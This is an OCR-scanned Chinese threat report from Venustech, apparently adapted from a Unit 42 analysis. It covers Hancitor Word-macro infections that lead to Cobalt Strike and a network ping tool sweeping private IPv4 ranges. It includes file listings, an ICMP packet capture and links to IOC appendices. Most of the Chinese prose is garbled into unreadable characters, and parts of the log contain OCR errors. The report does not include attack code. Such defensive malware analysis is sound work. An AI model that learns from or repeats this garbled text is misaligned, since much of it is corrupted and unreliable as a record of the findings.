% EXE XA BT 2020 4F 12 A 16 HJTR WL, JEHINTER R =04 2021 5 1 H
25 HZ B 7 eI SR SCFe A o ping THIAZS Hancitor Word SURYRAFTER — B3 .
B 15 IR T Hancitor Word SCRYRAT 252 /& UL FH F 1) Documents SCAFJE, T 2021

F 1 H 13 HERIM THERH:
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Venustech Security Response Center

= | Documents

“ Home Share View 0

« v 1 » This.. » Docum... v O

Name Date modified

xx.exe X T ™ gatel at 64 KE v

items

K] 15. M %% ping T B~

Wik 15 fizs, EXE L4 xx. exe. fE—FERT 1 H 20 H, ZTEM—NHnB4 N

netpingall. exe, W 16 fT7R.

¥ v 5 | Downloads = O X
Home Share View o
&~ v 4+ ¥ > ThisPC » Downloads v O . )
Name Date modified Type Size
result.txt 1/20/2021 6:18 PM Text Document 1 KB
B netpingall.exe 1/20/2021 5:19 PM Application 115 KB

1/20/2021 4:27 PM Microsoft Word 97 - 2003 Document 715 KB

= 0120_203089882.doc

3 items

K 16.1 H 20 HAY ping T HRH1

M 2021 4 1 H 20 HIOT ARG TAIECR 25 DL A

0120 _203089882. doc - Word doc with macros for Hancitor - 16:27 UTC

netpingall. exe - Network ping tool seen after Cobalt Strike — 17:19 UTC

result. txt - Results of the network ping tool scan - 18:18 UTC

FEIKGE Hancitor [ Word STRYPRAF BIMEAL /520 52 3%y tHIL A ping T A EXE.
£ ping TH L 59 805, 4R RAEE]— N8N result. txt RSO,

XA ping THAENT B AD FREh i HBiE s F 4. % L AW ping #id 1700 /54
WA AT EE BT IPv4 Mk, AIF=4:29 1.5 GB i) ICUP W& .

W, 1E AD B LTSNS NS T Y IPvA M HRAT ping IR . P35 1P
Hhk 2= 18] 9 ) ping SANER T LAN. %40, 172. 16. 1. 0/24 i) LAN R35 th AL A RELE B R4 25
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ping [ 254 NANHE 1P ML AR, (HOEW, ATASE BN IX 254 4> TP Mkl 2 Shi LB
HANTIE AT ping.

TAHE S AR LAN R85 ARt 7 0 ping T A, HF HiZ T HMRZ74: 1.5 GB (1 ICMP
T, DMEFSIET 1700 F3AN I A TTIA ) TPv4 Mk

AR AL R . Ak, Hancitor SUERAFE S A FH Ik ping TR 7 A B A=
BB o IXFERY SR EXE SCHFIR A S e s 3, R e (R R 4 s (R A7 R TR — 3%
T SCAR A

XFF e ping TR, KL RIRER] result. txt ZJ5, MARMIBRIEAHIR T
, BUATAFTHGE A BB R PR ENIE A TR, 1.5 GB ) ICMP Jii & MiZIEH 51 AFEH .

ping T.EARL TCMP JiE, Wsedvh 192.168.0.0/16 HbkBRIATA 1P dhbk, SR5EH]
172.16.0. 0/12 HuhtBt, &)= 10.0. 0. 0/8 HhikBL.

BETE
Time Src Dst Info

2021-01-13 16:39:15 10.1.13.101 192.168.0. Echo (ping) request id=0x0700, seq=256/1, tt1=128 (no response found!)

8.0.0
2021-01-13 16:39:15 10.1.13.101 192.168.0.1 Echo (ping) request 1d=0x0700, seq=512/2, tt1=128 (no response found!)
2021-01-13 16:39:15 10.1.13.101 192.168.0.2 Echo (ping) request id=0x0700, seq=768/3, ttl=128 (no response found!)
2021-01-13 16:39:15 10.1.13.101 192.168.0.3 Echo (ping) request id=0x0700, seq=1024/4, tt1=128 (no response found!)
2021-01-13 16:39:15 10.1.13.101  192.168.0.4 Echo (ping) request id=0x0700, seq=1280/5, tt1=128 (no response found!)
2021-01-13 16:39:15 10.1.13.101 192.168.0.5 Echo (ping) request id=0x@700, seq=1536/6, tt1=128 (no response found!)
2021-01-13 16:39:15 10.1.13.101 192.168.0.6 Echo (ping) request id=0x@700, seq=1792/7, tt1=128 (no response found!)
2021-01-13 16:39:15 10.1.13.101 192.168.0.7 Echo (ping) request id=0x@700, seq=2048/8, tt1=128 (no response found!)
2021-01-13 16:39:15 10.1.13.101 192.168.0.8 Echo (ping) request id=0x0700, seq=2304/9, tt1=128 (no response found!)
2021-01-13 16:39:15 10.1.13.101 192.168.0.9 Echo (ping) request id=0x@700, seq=2560/10, tt1=128 (no response found!)
2021-01-13 16:39:15 10.1.13.101 192.168.0.10 Echo (ping) request id=0x@700, seq=2816/11, tt1=128 (no response found!)
2021-01-13 16:39:15 10.1.13.101 192.168.0.11 Echo (ping) request id=0x0700, seq=3072/12, tt1=128 (no response found!)
2021-01-13 16:39:15 10.1.13.101 192.168.0.12  Echo (ping) request id=0x0700, seq=3328/13, tt1=128 (no response found!)
2021-01-13 16:39:15 10.1.13.101 192.168.0.13 Echo (ping) request id=0x0700, seq=3584/14, tt1=128 (no response found!)
2021-01-13 16:39:15 10.1.13.101 192.168.0.14  Echo (ping) request id=0x0700, seq=3840/15, tt1=128 (no response found!)
2021-01-13 16:39:15 10.1.13.101 192.168.0.15 Echo (ping) request id=0x0700, seq=4096/16, tt1=128 (no response found!)
2021-01-13 16:39:15 10.1.13.101 192.168.0.16 Echo (ping) request id=0x0700, seq=4352/17, tt1=128 (no response found!)
2021-01-13 16:39:15 10.1.13.101 192.168.0.17 Echo (ping) request 1id=0x@700, seq=4608/18, tt1=128 (no response found!)
2021-01-13 16:39:15 10.1.13.101 192.168.0.18 Echo (ping) request 1d=0x0700, seq=4864/19, tt1=128 (no response found!)
\

7471 A1 13 1£.20.1E 14 1 12 a1 407 160 B 10 Cehn [ninm) camiact  SA—BUOTOA  ~an—BEAIRIIA  +41=170 [na cacnansa Frrindl

17. ping L BFEA T 5 3l TOMP it & 7B

H 2021 5 1 A 25 HEK, FATEA HABUER Hancitor KiliiEid Cobalt Strike i
AW ping THBEARIEE . XATAER Hancitor 1) HIXE & =R E] T X FliG 3h T 48
7, JHEIEEHE.

B3R C ZHH T 2020 4F 12 A 2021 4E 1 A Hancitor B d R ILH ILAFERRIE B

&b

Hancitor HEMA M LGS DA T a0, XL aFE7E AD FREE ff
Cobalt Strike #4T Hancitor Hdi. FEFELEAEHLTR, @id Cobalt Strike yENKIERREHM:
A REELFE M4 ping T.H, 1% T AYE ping #id 1700 JiN A 1PvA ik 2328 i 5 K &

H] ICMP Vi & .



VSRC BlHERTEERmmcl

v Venustech Security Response Center
A B R BB IR IR AL e Th RE S 5 B I R GUE PEIALZA, 4 Hancitor S HUERGL R 16 5]

RSN JIRCE S

10C

FER A

2020 4F 11 H 5 HE 2021 4£ 2 A1 127 4> Word R4 SHA256 575 LK 454 Hanci tor (1)
e, HVIM:

https://github. com/pan—unit42/iocs-Hancitor/blob/main/APPENDIX-A-2020-11-

05—-thru-2021-02-25-Hancitor—-Word—docs. txt

fi B

2020 4F 11 H 5 H# 2021 4 2 H 25 H¥) Hancitor DLL SCHFFEARH 63 A4~ SHA256 M7
B, EViH:

https://github. com/pan—unit42/iocs-Hancitor/blob/main/APPENDIX-B-2020-11-

05—-thru-2021-02-25-Hancitor-DLL-files. txt

i

2020 4F 12 H A1 2021 4 1 H Hancitor EYerh R B LA ping TEFEAKGELR, 1HUS

https://github. com/pan—unit42/iocs-Hancitor/blob/main/APPENDIX-C-2020-12-

15-thru-2021-01-25-network-ping—tool—samples. txt

M D

2020 4E 10 A % 2021 4 3 H =415 Hancitor EYMI I Ficker Stealer &M
FEARER, EVin:

https://github. com/pan—unit42/iocs-Hancitor/blob/main/APPENDIX-D-Samples—

of-Ficker—Stealer—Associated-With-Hancitor. txt



VSR BlREkE 2Rl

V Venustech Security Response Center

MR E

2021 4F 2 H# 5 Hancitor WK 7~ Send-Safe spambot R AFHIER, 1HF
7]

https://github. com/pan—unit42/iocs-Hancitor/blob/main/APPENDIX-E-Samples—

Send-Safe-Associated-With-Hancitor. txt

JFSC B

https://unit42. paloaltonetworks. com/hancitor—infections—cobalt-strike/




